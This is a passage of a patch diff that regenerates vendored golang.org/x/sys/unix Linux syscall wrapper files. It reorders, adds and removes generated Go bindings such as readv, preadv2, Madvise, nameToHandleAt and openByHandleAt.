-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-+func readv(fd int, iovs []Iovec) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-+ r0, _, e1 := Syscall(SYS_READV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1414,14 +1580,15 @@ func Madvise(b []byte, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mprotect(b []byte, prot int) (err error) {
-+func writev(fd int, iovs []Iovec) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ r0, _, e1 := Syscall(SYS_WRITEV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1430,14 +1597,15 @@ func Mprotect(b []byte, prot int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlock(b []byte) (err error) {
-+func preadv(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ r0, _, e1 := Syscall6(SYS_PREADV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1446,24 +1614,15 @@ func Mlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlock(b []byte) (err error) {
-+func pwritev(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITEV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,34 +1631,15 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-+func preadv2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+ r0, _, e1 := Syscall6(SYS_PREADV2, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1508,14 +1648,14 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+func pwritev2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITEV2, uintptr(fd), uintptr(_p0), uintptr(len(iovs)), uintptr(offs_l), uintptr(offs_h), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1525,141 +1665,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, buf *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-- egid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-- euid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-- gid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrlimit(resource int, rlim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-- uid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit() (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lchown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1668,15 +1675,14 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+func Madvise(b []byte, advice int) (err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1685,58 +1691,14 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+func Mprotect(b []byte, prot int) (err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- r0, _, e1 := Syscall6(SYS_SENDFILE, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-- written = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1745,18 +1707,14 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Mlock(b []byte) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +1723,8 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresgid(rgid int, egid int, sgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+func Mlockall(flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1775,18 +1733,14 @@ func Setresgid(rgid int, egid int, sgid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresuid(ruid int, euid int, suid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setrlimit(resource int, rlim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1795,19 +1749,14 @@ func Setrlimit(resource int, rlim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Munlock(b []byte) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(b) > 0 {
-+ _p0 = unsafe.Pointer(&b[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(r0)
-+ _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1816,13 +1765,8 @@ func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n i
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Munlockall() (err error) {
-+ _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1831,13 +1775,13 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, buf *Statfs_t) (err error) {
-+func faccessat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1846,23 +1790,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Truncate(path string, length int64) (err error) {
-+func nameToHandleAt(dirFD int, pathname string, fh *fileHandle, mountID *_C_int, flags int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-+ _p0, err = BytePtrFromString(pathname)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := Syscall6(SYS_NAME_TO_HANDLE_AT, uintptr(dirFD), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(fh)), uintptr(unsafe.Pointer(mountID)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1871,44 +1805,9 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getgroups(n int, list *_Gid_t) (nn int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-- nn = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func setgroups(n int, list *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Utime(path string, buf *Utimbuf) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+func openByHandleAt(mountFD int, fh *fileHandle, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_OPEN_BY_HANDLE_AT, uintptr(mountFD), uintptr(unsafe.Pointer(fh)), uintptr(flags))
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1924,14 +1823,3 @@ func pipe2(p *[2]_C_int, flags int) (err error) {
- }
- return
- }
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-index 38c1bbdf..ba63af7b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -tags linux,386 syscall_linux.go syscall_linux_386.go
-+// go run mksyscall.go -l32 -tags linux,386 syscall_linux.go syscall_linux_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,386
-@@ -14,1259 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
